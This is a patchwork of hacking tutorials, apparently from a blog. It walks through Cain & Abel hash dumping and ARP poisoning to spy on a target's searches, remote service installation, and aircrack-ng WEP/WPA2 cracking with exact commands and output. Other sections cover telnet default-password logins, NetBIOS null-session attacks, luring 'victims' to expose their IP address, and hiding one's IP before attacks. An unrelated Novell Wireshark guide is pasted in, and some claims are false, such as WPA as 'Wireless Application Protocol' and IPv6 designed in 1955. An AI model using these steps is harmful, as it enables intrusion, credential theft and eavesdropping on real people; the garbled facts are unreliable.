ARP cache poisoning with cain abel

1) Start Cain

2) Click blue + icon on the upper left, note username (ID) and Password and
URL of resource it was saved for on the Protected Storage tab.

3) To save information from any of the Protected Storage sites:
a. Click on one of the resources
b. Right click and select Export
c. Key in name such as resc1.txt
d. Now, open file using notepad or similar text editor

4) To delete entry, left click on item, select either Remove or Remove All.

To find Windows login ID and passwords on a local machine.

• Create three users on your local machine. Make the accounts as follows:
user1 with password of password, user2 with password of 1password1,
and user 2 with password of 123xyz321.
Now proceed to #1 below.

With the different passwords selected, you will be able to examine how
password difficulty affects auditing and cracking techniques.

1) Click on Cracker tab

2) Click on LM & NTLM Hashes

3) Click on + sign icon on toolbar then Dump NT Hashes from Local machine. *
Note, if you have a SAM file from an NT/win2k/XP machine you can also use
the import option to import from that. *See bottom of lab on remote
installation of Abel to see how you might gain access to a SAM file from a
remote PC.

4) Click Next

5) On Guest id, right click and select dictionary attack NTLM. Select Add, then
browse to where cain is installed (possibly in c:\program\files\cain) Then
select wordlists folder and wordlist.txt. Then click Start.

6) Note options such as As is Password, etc. Also note that you could use a
Brute force attack if you had no luck on a dictionary word from a list file.
However, this would take much longer.

Using APR – ARP Poison Routing.
Theory -- On an Ethernet/IP network, when host A wants to send a packet to
host B, it must know the MAC or physical address of the machine and IP
address. It also needs to know the application layer protocol (IP) address, but
the physical MAC is required for construction of the Ethernet frame. Review
the OSI model if you are unclear on these concepts. In short we have to have
both.
Once it knows the MAC's of the machines on the network, it keeps them stored
in an ARP cache table. However, before it can “know” it has to query the
network to find out the addresses. A host does this by sending out an ARP
request on broadcast to FFFFFFFFFFFF. Only the station with the specified IP
will reply in unicast with an ARP reply packet to the requesting station with it's
MAC. Now host A has an updated table entry for host B and it will
communicate now in unicast directly to it by using the MAC of B in the
Ethernet frame. ARP request and reply packets are only sent if the host
doesn't know the destination machines MAC. Again, once it is learned the
cache is used....this is a key point to why APR works.

How APR works – ARP Poison Routing uses the stored cache as a way to reroute
or re-direct packets from a target, to an intermediary machine, then
forward to the host, thus the middle machine “sees” all traffic between target
and host, even if on a switched LAN. First the target MAC address must be
established, then the APR feature “poisons” the cache of the target by forcing
a cache update with the path re-routed so that the middle machine forwards
traffic to and from host and target. The middle machine can now examine
packets with a sniffer such as Ethereal, Nmap, or others.

Instructions to use APR:
** Before you try this, you must make sure that WinPcap is properly bound to
your NIC. Select Configure and make sure you see your adapter ( s) listed.

At main screen, select Configure, then click your your network adapter, then
Apply and Ok.

1) Click to enable both Sniffer and APR (Left of the + ).

2) Click on +, then Range. Range for your network (based on adapter you
chose) is displayed. Click OK to start scanning.

3) After 100% you will see IP address, MAC, and OUI fingerprint of devices in
range.
4) Now click on APR icon to enable it.

5) Click on + and select IP address to poison, then OK.

6) Now you should see it change from Idle to Poisoning.

7) IP connections should appear from target and spoofing computer(your
computer.

8) So, what we have now, looking at C3, is the target IP on the left, where they
were going on the right. All of this passing harmlessly through the middle
PC.

9) For better analysis of this traffic, and perhaps text strings that have been
sent from the target, etc. (e.g. They connected to Google, but what did
they search for?) We will run a sniffer on the middle computer.

10) Start Ethereal, select Capture, then select the same interface adapter you
selected in Cain. Then select OK. You are trying to capture the packets
being forwarded to and from your machine via ARP session.

11) Stop the capture after connecting to google and searching for items such as
“vacation villas”, or “cheap air fare”. Your machine is now analyzing the
traffic from a target as all of its traffic is rerouted through yours. Note in
Figure C4 we see all traffic listed in the top window of Ethereal (examine
that we see our connection to Google).

12)Click the Protocol field to organize the list, then scroll down to HTTP and
look for GET /search? Here we see in Figure C5 that the user was
searching on vacation villas (vacation+villa).

13)Click the Protocol field to organize the list, then scroll down to HTTP and
look for GET /search? Here we see in Figure C5 that the user was
searching on vacation villas (vacation+villa).

14)When finished select Tools, Disconnect, Disconnect All.

What is Abel? How can I install it ?
Abel is an NT service composed by two files: "Abel.exe" and "Abel.dll". These
files are copied by the installation package into the program's directory but the
service IS NOT automatically installed. Abel can be installed locally or
remotely (using Cain), anyway you need Administrator privileges to do that.

LOCAL INSTALLATION:
1) Copy the files Abel.exe and Abel.dll into the %WINNT% directory (ES:
C:\WINNT)

2) Launch Abel.exe to install the service (not automatically started)

3) Start the service using the Service Manager

REMOTE INSTALLATION (most reliable on wired network):
1) Use the "Network TAB" in Cain and choose the remote computer where Abel
will be installed

2) Right click on the computer icon in the tree and select "Connect As"

4) Provide Administrator credentials for the remote machine.

5) Once connected right click on the "Services" icon and select "Install Abel"

6) The two files "Abel.exe" and "Abel.dll" will be copied into the remote
machine, the service will be installed
and started automatically.

7) Once installed on the remote computer, note that among other things, you
can bring up a console prompt on the remote machine, examine password
Hashes, etc.

How to use wireshark to Capture, Filter and Inspect Packets

Start Wireshark
On a Linux or Unix environment, select the Wireshark or Ethereal entry in the desktop environment's menu, or run "wireshark" (or "ethereal") from a root shell in a terminal emulator.
Note that on Un*x systems, a non-GUI version of Wireshark called "tshark" (or "tethereal") may be available as well, but its use is beyond the scope of this document.

Configure Wireshark

After starting Wireshark, do the following:

-Select Capture | Interfaces

-Select the interface on which packets need to be captured.

-If capture options need to be configured, click the Options button for the chosen interface. Note the following recommendations for traces that are to be analysed by Novell Technical Services:
Capture packet in promiscuous mode: This option allows the adapter to capture all traffic not just traffic destined for this workstation. It should be enabled.

Limit each packet to: Leave this option unset. Novell Support will always want to see full frames.

Filters: Generally, Novell Support prefers an unfiltered trace. For documentation on filters, please refer to TID 10084702 - How to configure a capture filter for Ethereal (formerly NOVL90720).

-Capture file(s): This allows a file to be specified to be used for the packet capture. By default Wireshark will use temporary files and memory to capture traffic. Specify a file for reliability.

-Use multiple files, Ring buffer with: These options should be used when Wireshark needs to be left running capturing data data for a long period of time. The number of files is configurable. When a file fills up, it it will wrap to the next file. The file name should be specified if the ring buffer is to be used.

-Stop capture after xxx packet(s) captured: Novell Technical Support would most likely never use this option. Leave disabled.

-Stop capture after xxx kilobyte(s) captured: Novell Technical Support would most likely never use this option. Leave disabled.

-Stop capture after xxx second(s): Novell Technical Support would most likely never use this option. Leave disabled.

-Update list of packets in real time: Disable this option if the problem that's being investigated is occuring on the same workstation as where Wireshark is running.

-Automatic scrolling in live capture: Wireshark will scroll the window so that the most current packet is displayed.

-Hide capture info dialog: Disable this option so that you can view the count of packets being captured for each protocol.

-Enable MAC name resolution: Wireshark contains a table to resolve MAC addresses to vendors. Leave enabled.

-Enable network name resolution: Wireshark will issue DNS queries to resolve IP host names. Also will attempt to resolve network network names for other protocols. Leave disabled.

-Enable transport name resolution: Wireshark will attempt to resolve transport names. Leave disabled.

Now click the Start button to start the capture.

Recreate the problem. The capture dialog should show the number of packets increasing. If not, then stop the capture. Examine the interface list and pick the one that is not associated with the WANIP. It will probably be a long alpha-numeric string. If packets are still not being captured, try removing any filters that have been defined.

Once the problem which is to be analysed has been reproduced, click on Stop. It might take a few seconds for Wireshark to display the packets captured.

If the destination address is always displayed as FFFFFFFF (IPX) or always ends in .255 (IP) then all that has been captured is broadcast traffic. This is a useless trace.

This usually occurs when another machine is being traced (to start the trace while the target machine is powered off, in order to capture the bootup process). The capture setup needs to be reconsidered - port mirroring on the switch may need to be set up, or a dumb hub may need to be used to make the traffic reach the sniffing system. (Some devices advertised as "hubs" are in fact switches that may have the intelligence to prevent the workstations from seeing each other's packets; with these, getting a good trace may not be possible)

Save the packet trace in any supported format. Just click on the File menu option and select Save As. By default Wireshark will save the packet trace in libpcap format. This is a filename with a.pcap extension. Use this default for files sent to Novell.

Create a trace_info.txt file with the IP and MAC address of the machines that are being traced as well as any pertinent information, such as:

• What is the problem? (when did it start? steps to reproduce? any other pertinent information)
• What steps were traced?
• Give names of the servers and files being accessed.
• If analysis of the trace has already been attempted, please provide Novell Support with analysis notes.For example: Packets 1-30 are boot. Packets 31-500 are login. Packets 501 to 1,000 is my application loading. Packet 1,001 to 1,500 is me saving my file. The error occurred at approximately packet 1,480.
• Give the MAC addresses of hardware involved? (Workstation, servers, printers ...)
• What is the workstation OS and configuration?
• What version of client software is running?
• If it works with one version of the client (or a particular server patch), then get a trace of it working, and a trace of it not working.
• For Novell Client issues: Are there any client patches loaded?
• For NetWare servers: What version of NetWare (and other relevant products i.e. ZEN or NDPS) are running on the server?
• What patches have been applied?
• What is the configuration of the network? Are there routers involved? If so, what kind of routers?

How to hack a wifi password using aircrack

First of all you need to scan for available wireless networks.

you can use“NetStumbler” or "Kismet" for Windows and Linux and KisMac for Mac.

It’ll also show how the Wi-fi network is encrypted. The two most common encryption techniques are:

1) WEP (Wire Equivalent Privacy )

2) WAP(Wireless Application Protocol)

WEP allows a hacker to crack a WEP key easily whereas WAP is currently the most secure and best option to secure a wi-fi network

It can’t be easily cracked as WEP because the only way to retreive a WAP key is to use a brute-force attack or dictionary atack.

How to Crack WEP

To crack WEP we will be using Live Linux distribution called BackTrack to crack WEP.

BackTrack have lots of preinstalled softwares but for this time
The tools we will be using on Backtrack are:

a)Kismet – a wireless network detector
b)airodump – captures packets from a wireless router
c)aireplay – forges ARP requests
d)aircrack – decrypts the WEP keys

Follow the steps One by One

1) First of all we have to find a wireless access point along with its bssid, essid and channel number. To do this we will run kismet by opening up the terminal and typing in kismet. It may ask you for the appropriate adapter which in my case is ath0. You can see your device’s name by typing in the command iwconfig.

2) To be able to do some of the later things, your wireless adapter must be put into monitor mode. Kismet automatically does this and as long as you keep it open, your wireless adapter will stay in monitor mode.

3) In kismet you will see the flags Y/N/0. Each one stands for a different type of encryption. In our case we will be looking for access points with the WEP encryption. Y=WEP N=OPEN 0=OTHER(usually WAP).

4) Once you find an access point, open a text document and paste in the networks broadcast name (essid), its mac address (bssid) and its channel number. To get the above information, use the arrow keys to select an access point and hit to get more information about it.

5) The next step is to start collecting data from the access point with airodump. Open up a new terminal and start airodump by typing in the command:

airodump-ng -c [channel#] -w [filename] –bssid [bssid] [device]

In the above command airodump-ng starts the program, the channel of your access point goes after -c , the file you wish to output the data goes after -w , and the MAC address of the access point goes after –bssid. The command ends with the device name. Make sure to leave out the brackets.

6) Leave the above running and open another terminal. Next we will generate some fake packets to the target access point so that the speed of the data output will increase. Put in the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device]

In the above command we are using the airplay-ng program. The -1 tells the program the specific attack we wish to use which in this case is fake authentication with the access point. The 0 cites the delay between attacks, -a is the MAC address of the target access point, -h is your wireless adapters MAC address, -e is the name (essid) of the target access point, and the command ends with the your wireless adapters device name.

7) Now, we will force the target access point to send out a huge amount of packets that we will be able to take advantage of by using them to attempt to crack the WEP key. Once the following command is executed, check your airodump-ng terminal and you should see the ARP packet count to start to increase. The command is:

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device]

In this command, the -3 tells the program the specific type of attack which in this case is packet injection, -b is the MAC address of the target access point, -h is your wireless adapters MAC address, and the wireless adapter device name goes at the end.
Once you have collected around 50k-500k packets, you may begin the attempt to break the WEP key. The command to begin the cracking process is:

aircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs

In this command the -a 1 forces the program into the WEP attack mode, the -b is the targets MAC address,and the -n 128 tells the program the WEP key length. If you don’t know the -n , then leave it out. This should crack the WEP key within seconds. The more packets you capture, the bigger chance you have of cracking the WEP key.

How to access blocked website, unblock restricted ip addresses

How to access blocked websites like Facebook, MySpace, Adult sites from places like school, offices or universities.
These can be blocked by government or from local server in LAN. There are always legitimate reasons to bypass the internet filters and unblock websites. The way to access these sites depends on the method by they are blocked but try with following tricks, most of the time they are useful.

1) To access blocked website, type the IP number instead of the URL in the browser address bar. However, if your blocking software maps the IP address to the web server (reverse DNS lookup), the website will still remain blocked.

2) Use a URL redirection service like tinyurl.com or snipurl.com. These domain forwarding services sometimes work as the address in the the url box remain the redirect url and do not change to the banned site.

3) Use Google Mobile Search - Google display the normal HTML pages as if you are viewing them on a mobile phone. During the translation, Google removes the javascript content and CSS scripts and breaks a longer page into several smaller pages. Use Mobile browsers as proxy to open restricted websites.

4) Enter the URL in Google or Yahoo search and then visit the cached copy of the page. To retrieve the page more quickly from Google's cache, click "Cached Text Only" while the browser is loading the page from cache.

5) There are anonymizer websites who will fetch the blocked web page from their servers and display them
to you. As far as the service provider is concerned, you are viewing the page on the Anonymizer website and not the blocked site.

6) You can access blocked or restricted websites by using Yahoo Babelfish or Google Translate language tools as a proxy server. You just have to invoke the Google translate service with the same language pair like English to English. Assuming that Google is accessible in your school, you should be able to access any website with this method - Babelfish Proxy Sever.

7) Anonymous Surfing - Browse the internet via free proxy server. A proxy server (or proxies) is a normal computer that hides the identity of computers on its network from the Internet. Which means that only the address of the proxy server is visible to the world and not of those computers that are using it to browse the Internet. Just visit any proxy server with your Web browser and enter a URL or the address of the blocked website.

Hacking system with Open Port

First of all you should have the target ip address that you want to hack. To know how to obtain ip address of victim go through this link. After than scan the ip address for open port. How to scan ip address for open port and, for system and network details.
Now you have list of open ports of the victim's system. As every port number is for different port type, so identify the port type from this list with reference to number. After you have identified the port type hacking has to be done accordingly. For example if port 23 is open that means you can connect to that computer with telnet as because port number 23 is for telnet service.
So if any port is open you have to use the connecting procedure that is supported by that open port. During connection it will also ask for user id and password. As for example below are some open port hacking tutorial.

Hacking system with port 23

Use any procedure for connecting through telnet as port 23 is used for telnet. Commonly cmd is used for connection using telnet command. And try usig below details for user and passwords.
user: admin
pass:admin
pass:1234
pass:abcd or
user:administrator
or
pass:administrator
pass:1234
pass:abcd
now you use command prompt for commanding the victim computer such as trojans or any tracing applications can be sent.

Hacking system with port 139,138,137,136,135

for this you need two small tool

1.USER2SID & SID2USER
2.NetBios Auditing Tool

After you get both of them,put them in the C:\ directory.


You now need to create a null session to the target computer.



Now open the Command Prompt and browse to the USER2SID & SID2USER folder.There will be 2 tools inside it,one will be USER2SID and another one will be SID2USER.

We will first using USER2SID to get the ID.



We will test against the Guest account because Guest account is a built in account.

After we get the ID,we need to do some modification on the ID.

We take the ID we get from the guest account and modified it become
"5 21 861567501 1383384898 839522115 500".

Please leave out the S-1-,leave out all the - too.



Now you will see that you get the username of the Administrator account.

In this case,the Administrator account is Administrator.

Create a text file called user.txt and the content will be the username of the Admin account.



Prepare yourself a good wordlist.


Now put both of them in the same directory with the NetBios Auditing Tool.

Now we are going to crack the Admin account for the password in order to access to the target computer.

Browse to the NetBios Auditing Tool directory.



Press on enter and the tool will run through the passlist.


In this case,we have we the password.

In order to proof that wecan get access to the target computer using this password.


After you press enter,it will prompt you for the username and password.


Therefore,just input them inside the prompt and continue.


Target C drive will be on your screen.

Scanning for Open Port

An interface on a computer to which you can connect a device. Personal computers have various types of ports. Internally, there are several ports for connecting disk drives, display screens, and keyboards. Externally, personal computers have ports for connecting modems, printers, mice, and other peripheral devices. Almost all personal computers come with a serial RS-232C port or RS-422 port for connecting a modem or mouse and a parallel port for connecting a printer.
Port in TCP/IP and UDP networks are endpoint to a logical connection.

Searching for open ports for particular ip is very easy you just need a ip scanning software. Below are the best software list for scanning.

• Netscan
• Angry ip
• Blue port Scanner
• Unicornscan port scanner
• Zenmap

Here we are using zenmap which is the GUI version of nmap.

First of all you should have the ip address that you want to scan. Methods for finding ip address

Type the ip address in the field target: and press scan.

The port number identifies what type of port it is. For example, port 80 is used for HTTP traffic.
After knowing the open port on particular ip address you need to know the port number that are open identifies what type of port it is. As every port is for particular service usage such as port number 23 is used for telnet. Here is the list of all 1000 port numbers with  port description.
Now if you have got an open port on any system it can be used for hacking it. How to do this? 

Finding IP address of any victim

Below are two method for how to find ip addresses of targeted user

If you want to check for ip address of particular person on facebook or orkut or any other social site just invite them for a chat, so that your browser should connect to that system, than only when chat is ON open command prompt  type the below command

Netstat –an

This will show you the connected ip addresses, than from shown ip addresses search for suspicious ip address that is not the local connection address.

Local connections are normally starts from 192.168.1.1 ranging to 192.168.1.255

Other netstat commands:

-a  Displays all connections and listening ports.
-e  Displays Ethernet statistics. This may be combined with the -s option.
-n  Displays addresses and port numbers in numerical form.
-p  proto Shows connections for the protocol specified by proto; proto may be TCP or UDP.
-s  option to display per-protocol statistics, proto may be TCP, UDP, or IP.
-r  Displays the routing table.
-s  Displays per-protocol statistics. By default, statistics are shown for TCP, UDP and IP; the
-p  option may be used to specify a subset of the default.

Another method for obtaining ip address

Firstly create a online hosting account for free. Now upload any file on it such as a image. Send the image link to your friend as orkut scrap or facebook message or as any other method your want. once the user will go through that image link, a file named log.txt will be generated by hosting server and will be saved nearby your uploaded file.

This log.txt file will be containing ip address of the user who opened it from the sent link.

Now what an ip address can do for you. An ip address can be very useful to you. As with ip address you can trace the location of victims system. ip address is useful in many types of hacking.
With an ip address open port (searching for open port) can be searched, through which you can gain access to targeted computer and do whatever you want on it to (system hacking with open port). 

Hacking wireless wifi passwords

The most common type of wireless security are Wired Equivalent Privacy (WEP) and Wi-Fi protected Access (WPA).

WEP was the original encryption standards for wireless so that wireless networks can be secured as wired network. However it isn’t happened a group of FBI hacked the WEP in less than three minutes There are several open source utilities like aircrack-ng, weplab, WEPCrack, or airsnort that can be used by crackers to break in by examining packets and looking for patterns in the encryption. WEP comes in different key sizes. The common key lengths are currently 128- and 256-bit in WEP.

Latter WAP and WAP2 was introduced to overcome the problems of WEP. WAP was based on security protocol 802.11i replacing the 802.11 of WEP. Using long random passwords or passphrases makes WPA virtually uncrackable however if a small password is used of less than 14 words it can be cracked in less than one minute by aircrack-ng, mostly uses passwords of less than 14 words so use aircrack-ng for hacking .

Securing Wireless Network

The first step of securing wireless connection is simply using a long random passwords atleast of 14 characters.

Now if your wifi device supports for WPA2 than use it, as many users don’t know that their device supports for many security encryption techniques.  Check your router security techniques supported which is in its configuration page.

If you don’t know how to edit routers setting than just open your browser and type 192.168.1.1 in address bar and here you will get your routers configuration, where you can select 

Cracking Wireless Network

 As we have read above this is an easy task, we just have to use our network card in monitor mode so as to capture packets from target network. And this NIC mode is driver dependent and network can be monitored using  aircrack-ng. But only small number if cards support this mode under windows. But you can use live CD of any linux OS (commonly BackTrack 3 ) or install linux OS as virtual machine.

List of compatible cards.

Now download aircrack-ng for linux or windows platform from here.

The aircrack-ng suite is a collection of command-line programs aimed at WEP and WPA-PSK key cracking. The ones we will be using are:

airmon-ng - script used for switching the wireless network card to monitor mode
airodump-ng - for WLAN monitoring and capturing network packets
aireplay-ng - used to generate additional traffic on the wireless network
aircrack-ng - used to recover the WEP key, or launch a dictionary attack on WPA-PSK using the captured data.

Using aircrack-ng

First, put the card in monitor mode :

root@bt:~# airmon-ng 

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0)
wlan0           Ralink 2573 USB rt73usb - [phy0]

root@bt:~# airmon-ng start wlan0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0)
wlan0           Ralink 2573 USB rt73usb - [phy0]
                                (monitor mode enabled on mon0)

Ok, we can now use interface mon0
Let’s find a wireless network that uses WPA2 / PSK :

root@bt:~# airodump-ng mon0

 CH  6 ][ Elapsed: 4 s ][ 2009-02-21 12:57                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                    

 00:19:5B:52:AD:F7  -33        5        0    0  10  54   WPA2 CCMP   PSK  TestNet                                                  

 BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                            

 00:19:5B:52:AD:F7  00:1C:BF:90:5B:A3  -29   0- 1     12        4  TestNet

Stop airodump-ng and run it again, writing all packets to disk :

airodump-ng mon0 --channel 10 --bssid 00:19:5B:52:AD:F7 -w /tmp/wpa2

At this point, you have 2 options : either wait until a client connects and the 4-way handshake is complete, or deauthenticate an existing client and thus force it to reassociate.  Time is money, so let’s force the deauthenticate. We need the bssid of the AP (-a) and the mac of a connected client (-c)

root@bt:~# aireplay-ng -0 1 -a 00:19:5B:52:AD:F7 -c 00:1C:BF:90:5B:A3 mon0
13:04:19  Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10
13:04:20  Sending 64 directed DeAuth. STMAC: [00:1C:BF:90:5B:A3] [67|66 ACKs]

As a result, airodump-ng should indicate “WPA Handshake:” in the upper right corner

CH 10 ][ Elapsed: 2 mins ][ 2009-02-21 13:04 ][ WPA handshake: 00:19:5B:52:AD:F7                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                

 00:19:5B:52:AD:F7  -33 100     1338       99    0  10  54   WPA2 CCMP   PSK  TestNet                                              

 BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

 00:19:5B:52:AD:F7  00:1C:BF:90:5B:A3  -27  54-54      0      230 

Stop airodump-ng and make sure the files were created properly

root@bt:/# ls /tmp/wpa2* -al
-rw-r--r-- 1 root root 35189 2009-02-21 13:04 /tmp/wpa2-01.cap
-rw-r--r-- 1 root root   476 2009-02-21 13:04 /tmp/wpa2-01.csv
-rw-r--r-- 1 root root   590 2009-02-21 13:04 /tmp/wpa2-01.kismet.csv

Form this point forward, you do not need to be anywhere near the wireless network. All cracking will happen offline, so you can stop airodump and other processes and even walk away from the AP. In fact, I would suggest to walk away and find yourself a cosy place where you can live, eat, sleep, etc…. Cracking a WPA2 PSK key is based on bruteforcing, and it can take a very very long time.  There are 2 ways of bruteforcing : one that is relatively fast but does not guarantee success and one that is very slow, but guarantees that you will find the key at some point in time
The first option is by using a worklist/drstionary file.  A lot of these files can be found on the internet (e.g. www.theargon.com or on packetstorm (see the archives)), or can be generated with tools such as John The Ripper. Once the wordlist is created, all you need to do is run aircrack-ng with the worklist and feed it the .cap fie that contains the WPA2 Handshake.
So if your wordlist is called word.lst (under /tmp/wordlists), you can run

aircrack-ng –w /tmp/wordlists/word.lst -b 00:19:5B:52:AD:F7 /tmp/wpa2*.cap

The success of cracking the WPA2 PSK key is directly linked to the strength of your password file. In other words, you may get lucky and get the key very fast, or you may not get the key at all.

The second method (bruteforcing) will be successfull for sure, but it may take ages to complete. Keep in mind, a WPA2 key can be up to 64 characters, so in theory you would to build every password combination with all possible character sets and feed them into aircrack. 

Hidding IP Address

IP stands for Internet Protocol and IP address is the address that is assigned to each device connected in computer network that use internet protocol (TCP/IP).
This IP address is used to determine the device location in the network. 
The designers designed Internet Protocol Version 4 (IPv4) and IPv6 as addressing methods. IP addresses are binary numbers, but they are usually stored in text files and displayed in human readable notations, such as 172.16.254.1 (for IPv4), and 2001:db8:0:1234:0:567:8:1 (for IPv6).
IPv4 was designed as a 32bit number system. For example in 172.16.254.1, 172 stands for 10101100 binary number which is of 8 bits and it contains four such 8-bit numbers which total constitute of 32-bit. IPv4 is most widely used system for addressing. Here every number separated by dot can be of range between 0 to 255. For example 216.3.128.1 can IPv4 address.
Due to numerous growth of internet and because of the predicted depletion of available address IPv6 was designed in 1955.
How does IP address will come in use for you ?
You can use IP address of website in your browser address bar instead of domain name. It has its many uses in hacking, as with IP address you can watch out for open and closed ports for particular system which can be very important from hacker point of view. Although we can say that you can not hack any network without its knowledge.
How ever you should remember that your internet device also has an IP address which is recorded by many websites you go through. Also it can be used for your identification. So always remember to hide your IP address to another location before any type of network hacking. 
As you can see below is your traced IP address information by this blog.

So always hide your IP before any network database hacking such as DNS poisoning, SQL injection, Cross-site scripting etc.
How to hide IP address ?
There are ways to hide your IP address manually using command prompt combining your routers configuration. But this will not be safe also it will be very complicated to implement, but let the software should do this for you. It is very easy to hide your IP address by using software, there are many software present for you to use. Search on google for it, also some of its example is Platinum Hide, Hide my IP, Easy-Hide-IP etc. Also don't worry using these software is very safe.